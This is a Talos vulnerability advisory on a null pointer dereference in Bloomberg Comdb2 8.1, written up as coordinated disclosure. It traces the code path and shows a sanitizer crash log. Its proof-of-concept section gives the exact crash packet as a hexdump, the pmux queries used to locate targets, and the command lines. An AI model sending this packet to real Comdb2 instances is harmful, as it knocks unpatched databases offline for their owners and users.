Talos Vulnerability Report

TALOS-2025-2201

Bloomberg Comdb2 CDB2SQLQUERY Protocol Buffer Message null pointer dereference vulnerability

July 22, 2025
CVE Number

CVE-2025-35966

SUMMARY

A null pointer dereference vulnerability exists in the CDB2SQLQUERY protocol buffer message handling of Bloomberg Comdb2 8.1. A specially crafted protocol buffer message can lead to a denial of service. An attacker can simply connect to a database instance over TCP and send the crafted message to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Bloomberg Comdb2 8.1

PRODUCT URLS

Comdb2 - https://bloomberg.github.io/comdb2/

CVSSv3 SCORE

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

DETAILS

Comdb2 is an open source, high-availability database that is developed by Bloomberg. It supports features such as clustering, transactions, snapshots, and isolation. The implementation of the database utilizes optimistic locking for concurrent operation.

The Comdb2 database system is based on two major services. The first service, pmux, is a port multiplexer that is used to dynamically assign port numbers for different instances of the database. This service is implemented via a plaintext protocol and can be queried to identify the TCP port number that a specific database is listening on. The second service is the native comdb2 binary and is run for each instance of the desired database. The comdb2 binary is responsible for registering an available instance to the port multiplexing service. Communication with a Comdb2 instance is primarily handled by exchanging data with the client using the Google’s Protocol Buffers data format over a TCP session.

During startup, the comdb2 binary will execute the following function to assign callbacks that will be dispatched depending on the command initial command that is sent. Thus, when receiving a newline-delimited “newsql” string, the handle_newsql_request_evbuffer function will be called at [1] in response.

plugins/newsql/newsql_evbuffer.c:1275-1282
static int newsql_init(void *arg)
{
    dispatch_base = get_dispatch_event_base();
    Pthread_create(&gethostname_thd, NULL, gethostname_fn, NULL);
    add_appsock_handler("newsql\n", handle_newsql_request_evbuffer);        // [1]
    add_appsock_handler("@newsql\n", handle_newsql_admin_request_evbuffer);
    return 0;
}

Then, when receiving a connection from a client the following accept_info_new function will be called. At [2], a new event that calls the do_read function will be created and dispatched to when the socket fd is ready for reading.

net/net_evbuffer.c:848-866
static struct accept_info *accept_info_new(netinfo_type *netinfo_ptr, struct sockaddr_in *addr, int fd, int secure,
                                           int badrte)
{
    check_base_thd();
    if (pending_connections > max_pending_connections) {
        close_oldest_pending_connection();
    }
    ++pending_connections;
    struct accept_info *a = calloc(1, sizeof(struct accept_info));
    a->netinfo_ptr = netinfo_ptr;
    a->ss = *addr;
    a->fd = fd;
    a->secure = secure;
    a->badrte = badrte;
    a->ev = event_new(base, fd, EV_READ, do_read, a);   // [2]
    event_add(a->ev, NULL);
    TAILQ_INSERT_TAIL(&accept_list, a, entry);
    return a;
}

The implementation of the do_read function is basically a wrapper that reads a newline-delimited string from the socket fd prior to decoding the protocol buffer required to communicate with the client. First, the do_appsock_evbuffer function will be called at [3]. This function will process the “appsock” part of the protocol by extracting all the characters at [4], until encountering a newline. At [5], the implementation will check that the string “newsql” was found within the data read from the socket and follow it with another check that sets pbadrte to 1 and returns if the string “rte “ was found at the beginning. Once those tests have been verified, the entire newline-delimited string will be used at [6] to determine the correct handler callback to use for the rest of the protocol which will then get dispatched at [7].

net/net_evbuffer.c:2912-2949
static void do_read(int fd, short what, void *data)
{
    check_base_thd();
    struct accept_info *a = data;
    struct evbuffer *buf = evbuffer_new();
    ssize_t n = evbuffer_read(buf, fd, SBUF2UNGETC_BUF_MAX);
...
    uint8_t first_byte;
    evbuffer_copyout(buf, &first_byte, 1);
    if (first_byte == 0) {
        evbuffer_drain(buf, 1);
        a->buf = buf;
        rd_connect_msg_len(fd, 0, a);
        return;
    }
...
    if ((do_appsock_evbuffer(buf, &ss, fd, 0, secure, &badrte)) == 0)   // [3] \
        return;
    if (badrte)
        accept_info_new(netinfo_ptr, &ss, fd, secure, 1);
    else
        handle_appsock(netinfo_ptr, &ss, first_byte, buf, fd);
}
\
net/net_evbuffer.c:2864-2910
static int do_appsock_evbuffer(struct evbuffer *buf, struct sockaddr_in *ss, int fd, int is_readonly, int secure,
                               int *pbadrte)
{
    struct appsock_info *info = NULL;
    struct evbuffer_ptr b = evbuffer_search(buf, "\n", 1, NULL);                    // [4] Search buffer until newline encountered
...
    if (b.pos != -1) {
        char key[b.pos + 2];
        evbuffer_copyout(buf, key, b.pos + 1);
        key[b.pos + 1] = 0;
        if (secure && strstr(key, "newsql") == NULL) {                              // [5] ensure that "newsql" is in line.
            logmsg(LOGMSG_ERROR, "appsock '%s' disallowed on secure port\n", key);
            return 1;
        }

        if (strcmp(key, "rte ") == 0) {                                             // [5] ensure that "rte " is in line.
            evbuffer_read(buf, fd, -1);
            evbuffer_free(buf);
            ssize_t rc = write(fd, "0\n", 2);
            if (rc == 2 && pbadrte)
                *pbadrte = 1;
            return 1;
        }

        info = get_appsock_info(key);                                               // [6] Look up the key that was read.
    }

    if (info == NULL) return 1;
...
    evtimer_once(arg->base, info->cb, arg); /* handle_newsql_request_evbuffer */    // [7] Dispatch to handle_newsql_request_evbuffer
    return 0;
}

After finding the correct “appsock” handler and dispatching to it, the following function, handle_newsql_request_evbuffer, will be called. This function is responsible for signalling the gethostname_cond condition at [8] which will result in activating the gethostname_fn function. Afterwards at [9], the “libevent” library will be used to dispatch to the newsql_setup_clnt_evbuffer function. At the end of the newsql_setup_clnt_evbuffer function at [10], the implementation will finally call the rd_hdr function to begin reading the information sent by the client.

plugins/newsql/newsql_evbuffer.c:1261-1266
static void handle_newsql_request_evbuffer(int dummyfd, short what, void *data)
{
    struct appsock_handler_arg *arg = data;
    arg->admin = 0;
    gethostname_enqueue(arg);                                       // [8] Signal a condition
}
\
plugins/newsql/newsql_evbuffer.c:1251-1259
static void gethostname_enqueue(struct appsock_handler_arg *arg)
{
    gettimeofday(&arg->start, NULL);
    Pthread_mutex_lock(&gethostname_lk);
    TAILQ_INSERT_TAIL(&gethostname_list, arg, entry);
    ++gethostname_ctr;
    Pthread_cond_signal(&gethostname_cond);                         // [8] Signal "gethosname_cond" \\
    Pthread_mutex_unlock(&gethostname_lk);
}
\\
plugins/newsql/newsql_evbuffer.c:1208-1249
static void *gethostname_fn(void *arg)
{
    int max_pending = 8;
    struct timeval start, last_report;
    gettimeofday(&last_report, NULL);
    comdb2_name_thread("gethostname");
    while (1) {
        Pthread_mutex_lock(&gethostname_lk);
        if (TAILQ_EMPTY(&gethostname_list)) {
            Pthread_cond_wait(&gethostname_cond, &gethostname_lk);  // [8] Block on "gethostname_cond" condition
        }
...
        evtimer_once(arg->base, newsql_setup_clnt_evbuffer, arg);   // [9] \ Dispatch into newsql_setup_clnt_evbuffer
    }
}
\
plugins/newsql/newsql_evbuffer.c:1139-1200
static void newsql_setup_clnt_evbuffer(int fd, short what, void *data)
{
    struct appsock_handler_arg *arg = data;
...
    newsql_setup_clnt(clnt);
    plugin_set_callbacks_newsql(evbuffer);
    if (add_appsock_connection_evbuffer(clnt) != 0) {
        exhausted_appsock_connections(clnt);
        free_newsql_appdata_evbuffer(-1, 0, appdata);
    } else {
        rd_hdr(-1, 0, appdata);                                     // [10] read header
    }
    free(arg);
}

The function, rd_hdr, is then responsible for initially reading the header for the entire packet. The structure of the header is composed of four 32-bit integers that are encoded in network byte order. At [11], the length of data that is available for the socket is verified that it has enough space to include the header structure, newsqlheader. After reading enough data from the socket, each field of the header structure will be converted to the host byte order before being used at [12]. Once the length from the header is decoded at [13], the rd_hdr function will call rd_payload at [14] to decode the protocol buffer that comes after the newsqlheader.

cdb2api/cdb2api.c:948-953
struct newsqlheader {
    int type;
    int compression;
    int state; /* query state */
    int length;
};

plugins/newsql/newsql_evbuffer.c:888-910
static void rd_hdr(int dummyfd, short what, void *arg)
{
    struct newsqlheader hdr;
    struct newsql_appdata_evbuffer *appdata = arg;
    if (evbuffer_get_length(appdata->rd_buf) >= sizeof(struct newsqlheader)) {
        goto hdr;                                       // [11] check length before reading the header.
    }
...
hdr:
    evbuffer_remove(appdata->rd_buf, &hdr, sizeof(struct newsqlheader));
    appdata->hdr.type = ntohl(hdr.type);                // [12] Decode the type from the newsqlheader
    appdata->hdr.compression = ntohl(hdr.compression);  // [12] Decode the compression type (unused) from the newsqlheader
    appdata->hdr.state = ntohl(hdr.state);              // [12] Decode the state from the header (unused)
    appdata->hdr.length = ntohl(hdr.length);            // [13] Decode the protocol buffer length
    rd_payload(-1, 0, appdata);                         // [14] Read the protocol buffer payload
}

The following function, rd_payload, is directly responsible for decoding a protocol buffer that was sent by the client. This function is similar to rd_hdr in that it checks the length of data that is available and then proceeds to read the contents of its payload from socket. At [14], the length that was read earlier from the header is used with the evbuffer_pullup function at [15] to read the entire serialized protocol buffer data into the query variable of type CDB2QUERY. At [16], this populated structure is then passed to the process_newsql_payload function.

plugins/newsql/newsql_evbuffer.c:860-886
static void rd_payload(int dummyfd, short what, void *arg)
{
    CDB2QUERY *query = NULL;
    struct newsql_appdata_evbuffer *appdata = arg;
    if (evbuffer_get_length(appdata->rd_buf) >= appdata->hdr.length) {
        goto payload;
    }
...
payload:
    if (appdata->hdr.length) {
        int len = appdata->hdr.length;                          // [14] get length from header.
        void *data = evbuffer_pullup(appdata->rd_buf, len);     // [15] read entire packet from client
        if (data == NULL || (query = cdb2__query__unpack(&pb_alloc, len, data)) == NULL) {
            newsql_cleanup(appdata);
            return;
        }
        evbuffer_drain(appdata->rd_buf, len);
    }
    process_newsql_payload(appdata, query);                     // [16] process deserialized protocol buffer
}

The implementation of the process_newsql_payload function is directly responsible for reading a query that is submitted by a client. This is done by using the “type” field from the header to determine the query request type and dispatch to the correct function. Specifically, the process_cdb2query function is called at [17] to process a query request.

plugins/newsql/newsql_evbuffer.c:839-858
static void process_newsql_payload(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
    rem_lru_evbuffer(&appdata->clnt); /* going to work; not eligible for shutdown */
    switch (appdata->hdr.type) {
    case CDB2_REQUEST_TYPE__CDB2QUERY:
        process_cdb2query(appdata, query);                      // [17] process the actual query
        break;
    case CDB2_REQUEST_TYPE__RESET:
        newsql_reset_evbuffer(appdata);
        evtimer_once(appdata->base, rd_hdr, appdata);
        break;
    case CDB2_REQUEST_TYPE__SSLCONN:
        process_ssl_request(appdata);
        break;
    default:
        logmsg(LOGMSG_ERROR, "%s bad type:%d fd:%d\n", __func__, appdata->hdr.type, appdata->fd);
        newsql_cleanup(appdata);
        break;
    }
}

The following function, process_cdb2query contains the logic that is responsible for decoding the CDB2QUERY type into its corresponding fields from the protocol buffer sent by the client. At [18] and [19], the implementation will dereference the “disttxn” and “dbinfo” fields from the protocol buffer. If neither of these fields have been included, the implementation will then pass the entire query to the process_query function at [20].

plugins/newsql/newsql_evbuffer.c:707-732
static void process_cdb2query(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
    if (!query) {
        newsql_cleanup(appdata);
        return;
    }
    CDB2DISTTXN *disttxn = query->disttxn;                      // [18] Dereference the "disttxn" field of the protocol buffer
    CDB2DBINFO *dbinfo = query->dbinfo;                         // [19] Dereference the "dbinfo" field of the protocol buffer

    if (!dbinfo && !disttxn) {
        appdata->query = query;
        process_query(appdata);                                 // [20] Process the "query" field of the protocol buffer
        return;
    }
    if (dbinfo) {                                               // [19] Process the "dbinfo" field of the protocol buffer
        if (dbinfo->has_want_effects && dbinfo->want_effects) {
            process_get_effects(appdata);
        } else {
            process_dbinfo(appdata);
        }
    }
    if (disttxn) {                                              // [18] Process the "disttxn" field of the protocol buffer
        process_disttxn(appdata, disttxn);
    }
    cdb2__query__free_unpacked(query, &pb_alloc);
}

The following is a description of the CDB2_QUERY protocol buffer message that is submitted by the client. Each of the fields within this message are optional and thus if one of the fields are not included, the protocol buffer implementation will set the field’s value to NULL or clear a flag so that an implementer can know that the field was not included.

protobuf/sqlquery.proto:143-148
message CDB2_QUERY {
  optional CDB2_SQLQUERY sqlquery = 1;
  optional CDB2_DBINFO   dbinfo = 2;
  optional string        spcmd  = 3;
  optional CDB2_DISTTXN  disttxn = 4;
}

The process_query function is responsible for processing the fields of the CDB2SQLQUERY protocol buffer message. At [21], the implementation will dereference the field containing the CDB2SQLQUERY message, and then call the process_features function at [22]. The implementation of the process_features function is responsible for decoding an array of integers that are required by a CDB2SQLQUERY message. At [23], the implementation extracts the sql query message again and assigns it to the sqlquery variable. Afterwards at [24], a loop will be entered to set flags inside the sqlclntstate variable that correspond to the features submitted by the client. Neither of these two functions check if the CDB2SQLQUERY pointer stored in the sqlquery variable are missing. Thus, at [24] when the implementation tries to dereference the n_features field of the sqlquery variable, a null pointer can be dereferenced and terminate the process. This results in a denial of service condition.

plugins/newsql/newsql_evbuffer.c:579-631
static void process_query(struct newsql_appdata_evbuffer *appdata)
{
    struct sqlclntstate *clnt = &appdata->clnt;
    CDB2SQLQUERY *sqlquery = appdata->sqlquery = appdata->query->sqlquery;  // [21] Extract the sql query message

    process_features(appdata);                                              // [22] \ Process any features that were included.
...
}
\
plugins/newsql/newsql_evbuffer.c:557-577
static void process_features(struct newsql_appdata_evbuffer *appdata) {
    struct sqlclntstate *clnt = &appdata->clnt;
    CDB2SQLQUERY *sqlquery = appdata->sqlquery = appdata->query->sqlquery;  // [23] Extract the sql query message

    memset(&clnt->features, 0, sizeof(clnt->features));
    for (int i = 0; i < sqlquery->n_features; ++i) {                        // [24] Iterate through all the available features
...
    }
}

Crash Information

In the following snippet, the proof of concept is being run against the database that is listening on localhost.

$ python poc.zip localhost
...

The following is the output of the process when running the proof-of-concept.

process_reg_reply: svc:replication accepting on unix socket fd:63
__rep_start line 344 setting rep->gen from 426 to 427, egen from 427 to 428
__rep_start line 363 setting rep->gen from 427 to 428, egen from 428 to 429
__rep_start line 384 setting rep->log_gen from 426 to 428
bdb_open_int line 6103 calling rep_start as master with egen 428
new_master_callback_int:  master:.invalid->ce66cbfc0193  old-gen:0->428  old-egen:0->429
I AM NEW MASTER NODE ce66cbfc0193
Collecting table aliases
user authentication disabled (bdberr: 15)
DBA user 'dba' already exists
hostname:ce66cbfc0193  cname:ce66cbfc0193
I AM READY.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==7207==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000b8 (pc 0x000001148ccf bp 0x7bcb10296810 sp 0x7bcb102966e0 T10)
==7207==The signal is caused by a READ memory access.
==7207==Hint: address points to the zero page.
    #0 0x000001148ccf in process_features /comdb2/plugins/newsql/newsql_evbuffer.c:562
    #1 0x000001148ccf in process_query /comdb2/plugins/newsql/newsql_evbuffer.c:584
    #2 0x000001148ccf in process_cdb2query /comdb2/plugins/newsql/newsql_evbuffer.c:718
    #3 0x000001148ccf in process_newsql_payload /comdb2/plugins/newsql/newsql_evbuffer.c:844
    #4 0x000001148ccf in rd_payload /comdb2/plugins/newsql/newsql_evbuffer.c:885
    #5 0x0000011479fa in rd_hdr /comdb2/plugins/newsql/newsql_evbuffer.c:909
    #6 0x7fcb22fe13c7 in event_process_active_single_queue (/lib64/libevent_core-2.1.so.7+0x1a3c7) (BuildId: 7afd9d1a3e72c3dab994f68587fa8e8f1ab1da06)
    #7 0x7fcb22fe322e in event_base_loop (/lib64/libevent_core-2.1.so.7+0x1c22e) (BuildId: 7afd9d1a3e72c3dab994f68587fa8e8f1ab1da06)
    #8 0x000000e3d3f6 in net_dispatch /comdb2/net/net_evbuffer.c:551
    #9 0x7fcb230290c5 in asan_thread_start(void*) (/lib64/libasan.so.8+0x290c5) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
    #10 0x7fcb2287ef13 in start_thread (/lib64/libc.so.6+0x70f13) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
    #11 0x7fcb22901aab in __GI___clone3 (/lib64/libc.so.6+0xf3aab) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)

==7207==Register values:
rax = 0x0000000000000017  rbx = 0x00007bcb0bd72100  rcx = 0x0000000000000000  rdx = 0x0000000000000004  
rdi = 0x00000000000000b8  rsi = 0x0000000000000000  rbp = 0x00007bcb10296810  rsp = 0x00007bcb102966e0  
 r8 = 0x00007e1b21610fc0   r9 = 0x0000000000000000  r10 = 0x0000000000000004  r11 = 0x00007e1b21610fc0  
r12 = 0x00000f79617ae420  r13 = 0x0000000000000000  r14 = 0x00007e1b2160fa00  r15 = 0x00007e1b2160f920  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /comdb2/plugins/newsql/newsql_evbuffer.c:562 in process_features
Thread T10 created by T0 here:
    #0 0x7fcb230de6f2 in pthread_create (/lib64/libasan.so.8+0xde6f2) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
    #1 0x000000e3d739 in init_base_priority /comdb2/net/net_evbuffer.c:575
    #2 0x000000e64332 in setup_bases /comdb2/net/net_evbuffer.c:3429
    #3 0x000000e6462b in init_event_net /comdb2/net/net_evbuffer.c:3466
    #4 0x000000e64f66 in add_host /comdb2/net/net_evbuffer.c:3601
    #5 0x000000e77808 in net_init /comdb2/net/net.c:2892
    #6 0x00000091f514 in dbenv_open /comdb2/bdb/file.c:3000
    #7 0x00000091f514 in bdb_open_int /comdb2/bdb/file.c:5979
    #8 0x000000926bd3 in bdb_open_env /comdb2/bdb/file.c:6255
    #9 0x00000052f555 in open_bdb_env /comdb2/db/glue.c:3846
    #10 0x000000435c98 in init /comdb2/db/comdb2.c:4120
    #11 0x000000408d4e in main /comdb2/db/comdb2.c:5836
    #12 0x7fcb228115f4 in __libc_start_call_main (/lib64/libc.so.6+0x35f4) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
    #13 0x7fcb228116a7 in __libc_start_main@@GLIBC_2.34 (/lib64/libc.so.6+0x36a7) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
    #14 0x00000040dfb4 in _start (/opt/bb/bin/comdb2+0x40dfb4) (BuildId: 8d0c440e812314bc39238a8b7148054ba5811f3b)

==7207==ABORTING

Exploit Proof of Concept

In order to run the proof-of-concept, a database instance must be created in order to run the comdb2 service. The database will then be registered into the pmux service when it starts up.

After everything is loaded, the pmux service listens on port 5105 by default. This service allows one to query a list of the databases that have been registered and determine their port number.

To use the proof-of-concept, Python must be available. The proof-of-concept has two variations of connecting to the target database. The first variation connects to the pmux service and picks the first database that is available. This is selected using the “–pmux” option followed by the hostname that the pmux service is listening on. The following command line connects to the pmux service at “hostname” using the default port (5105/tcp).

$ python poc.zip --pmux hostname

The second variation will connect directly to the database port and requires the user to specify the database name using the “-b” parameter. The following command line will connect to the database named “testdb” at “hostname” on port 19000.

$ python poc.zip -b testdb hostname:19000

When running the first variation of the proof-of-concept, a client will likely query the pmux service to determine the port number associated with a database instance. The pmux service is a plain-text and newline-delimited protocol. The following 5-byte packet requests the pmux service to list all of the ports that are being used by databases.

[0] <instance pmux.command<char_t> 'unnamed_7fd2e2ad01d0'> {unnamed=True} (5) 'used\n'

Afterwards, the pmux service will respond with the list of database instances that are available. If one database named “testdb” is currently instantiated, the response will look like the following.

[0] <instance pmux.newlined<char_t> 'unnamed_7fd2d303c0b0'> {unnamed=True} (44) 'port 19000   name comdb2/replication/testdb\n'

Once the port number for the target database instance has been determined, the proof-of-concept will send a header that is used to encapsulate a protocol buffer message. This header has the following format. Within the header, only the 32-bit “type” field is used. This type can be 1, 2, 3, 108, or 121. The proof-of-concept triggers this vulnerability by setting the “type” to 1.

<class comdb2.newsql_request_header> 'header'
[0] <instance be(comdb2.sqlquery.CDB2RequestType) 'type'> CDB2QUERY(0x1)
[4] <instance be(comdb2.int) 'compression'> 0xfeeddead (4277001901)
[8] <instance be(comdb2.int) 'state'> 0x00000000 (0)

After the header, a 32-bit length field will be sent along with the protocol buffer payload. This has the following layout.

<class comdb2.newsql> 'unnamed_7fd2d303e6f0' {unnamed=True}
[0] <instance comdb2.newsql_request_header 'header'> type=CDB2QUERY(0x1) : compression=0xfeeddead : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x00000008 (8)
[10] <instance protobuf.MESSAGE 'payload'> protobuf.TAGVALUE[1] "\xe8\xea\x1b\x00\x30\x30\x30\x30"
[18] <instance ptype.block 'extra'> ...

The protocol buffer payload has the following format. In the CDB2_QUERY protocol message, the optional field which is used to trigger the vulnerability is the “sqlquery” field. If a malformed protocol buffer message of type CDB2_SQLQUERY is sent, then this vulnerability is being triggerred.

comdb2/protobuf/sqlquery.proto:143-148
message CDB2_QUERY {
  optional CDB2_SQLQUERY sqlquery = 1;
  optional CDB2_DBINFO   dbinfo = 2;
  optional string        spcmd  = 3;
  optional CDB2_DISTTXN  disttxn = 4;
}

comdb2/protobuf/sqlquery.proto:54-120
message CDB2_SQLQUERY {
  required string dbname = 1;
  required string sql_query = 2;
  repeated CDB2_FLAG flag = 3;
  required bool little_endian = 4;
  message bindvalue {
    message i32_array { repeated int32 elements = 1 [packed=true]; }
    message i64_array { repeated int64 elements = 1 [packed=true]; }
    message dbl_array { repeated double elements = 1 [packed=true]; }
    message txt_array { repeated string elements = 1; }
    message blob_array { repeated bytes elements = 1; }
    message array {
      oneof type {
        i32_array i32 = 1;
        i64_array i64 = 2;
        dbl_array dbl = 3;
        txt_array txt = 4;
        blob_array blob = 5;
      }
    }
    required string varname = 1;
    required int32  type    = 2;
    required bytes  value   = 3;
    optional bool   isnull  = 4 [default = false];
    optional int32  index   = 5;
    optional array  carray  = 6;
  }
  repeated bindvalue bindvars = 5;
  optional string tzname = 6;
  repeated string set_flags = 7;
  repeated int32 types = 8;
  optional string mach_class = 9 [default = "unknown"];
  optional bytes cnonce = 10;
  message snapshotinfo {
    required int32  file    = 1;
    required int32  offset  = 2;
  }
  optional snapshotinfo snapshot_info = 11; 
  optional int64 skip_rows = 12; // number of rows to be skipped, -1 (skip all rows)
  optional int32 retry = 13  [default = 0]; // query retry count for a disconnected connection
  // if begin retry < query retry then skip all the rows from server, if same then skip (skip_rows)
  repeated int32 features = 14; // Client can negotiate on this.
  message cinfo {
    required int32  pid      = 1;
    required uint64 th_id    = 2;
    required int32  host_id  = 3;
    optional string argv0    = 4;
    optional string stack    = 5;
    optional string api_driver_name = 6;
    optional string api_driver_version = 7;
  }
  optional cinfo client_info = 15;
  repeated string context    = 16; // Client context messages.
  message reqinfo {
      required int64 timestampus = 1; // client timestamp of this message.
      required int32 num_retries = 2; // client retry count including hops to other nodes
  }
  optional reqinfo req_info = 17; //request info
  message IdentityBlob {
      required string principal = 1;
      required int64 majorVersion = 2;
      required int64 minorVersion = 3;
      required bytes data = 4;
  }
  optional IdentityBlob identity = 18;
}

The following is a hexdump of the entire packet with its header and protocol buffer payload.

00  00 00 00 01 fe ed de ad  00 00 00 00 00 00 00 08  ................
10  e8 ea 1b 00 30 30 30 30                           ....0000        
TIMELINE

2025-06-02 - Initial Vendor Contact
2025-06-05 - Vendor Disclosure
2025-06-06 - Vendor Patch Release
2025-07-22 - Public Release

Credit

Discovered by a member of Cisco Talos.